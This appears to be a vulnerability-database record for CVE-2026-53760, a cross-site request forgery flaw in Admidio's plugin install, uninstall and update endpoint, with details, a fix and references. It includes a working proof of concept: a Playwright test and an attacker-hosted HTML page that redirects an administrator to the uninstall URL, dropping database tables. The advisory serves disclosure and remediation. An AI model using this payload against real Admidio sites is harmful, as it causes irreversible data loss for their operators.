{"id":"CVE-2026-53760","aliases":["GHSA-hm42-q32m-vj4f"],"url":"https://o3.security/vulnerability/CVE-2026-53760","summary":"Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests","details":"## Summary\n\nThe `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.\n\n## Details\n\n`modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`:\n\n```php\n// modules/plugins.php\n$mode = admFuncVariableIsValid($_GET, 'mode', 'string');\n$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');\n```\n\nThe file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly.\n\nBecause the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.\n\nThe `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin's `db_scripts/` directory, which contain `DROP TABLE` statements:\n\n```php\n// modules/plugins.php - doUninstall()\nfunction doUninstall($pluginFolder) {\n    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql\n    // Contains DROP TABLE statements\n}\n```\n\n## Proof of Concept\n\nThe following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:\n\n```javascript\n// playwright-csrf-poc.js\nconst { test, expect } = require('@playwright/test');\n\ntest('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {\n    const context = await browser.newContext();\n    const page = await context.newPage();\n\n    // Step 1: Admin logs in to Admidio\n    await page.goto('https://admidio.example.com/adm_program/system/login.php');\n    await page.fill('#usr_login_name', 'admin');\n    await page.fill('#usr_password', 'password');\n    await page.click('#btn_login');\n    await page.waitForURL('**/overview.php');\n\n    // Step 2: Admin visits attacker-controlled page on different origin\n    // The attacker page contains:\n    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>\n    await page.goto('https://attacker.example.com/csrf.html');\n\n    // Step 3: Browser follows redirect with SameSite=Lax cookies\n    // The birthday plugin is uninstalled, its database tables dropped\n    await page.waitForURL('**/plugins.php*');\n\n    // Verify the plugin was uninstalled\n    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');\n    const content = await page.content();\n    expect(content).not.toContain('birthday');\n});\n```\n\nSimplified attacker page (`csrf.html` hosted on attacker origin):\n\n```html\n<html>\n<body>\n<script>\n  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';\n</script>\n</body>\n</html>\n```\n\nWhen an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.\n\n## Impact\n\nAn unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page.\n\n## Recommended Fix\n\nSwitch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","published":"2026-09-04T17:54:40.136Z","modified":"2026-10-21T02:58:30.377062095Z","cvss":{"score":5.2,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L"},"epss":{"score":0.0014,"percentile":0.03725,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"admidio/admidio","fixedVersion":null}],"fix":{"url":"https://github.com/Admidio/admidio/commit/056b1bd9f995437395e337d2c73a32e5c96ee616","label":"Admidio/admidio@056b1bd"},"references":[{"type":"ADVISORY","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53760.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53760"},{"type":"FIX","url":"https://github.com/Admidio/admidio/commit/056b1bd9f995437395e337d2c73a32e5c96ee616"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:30.377062095Z"}}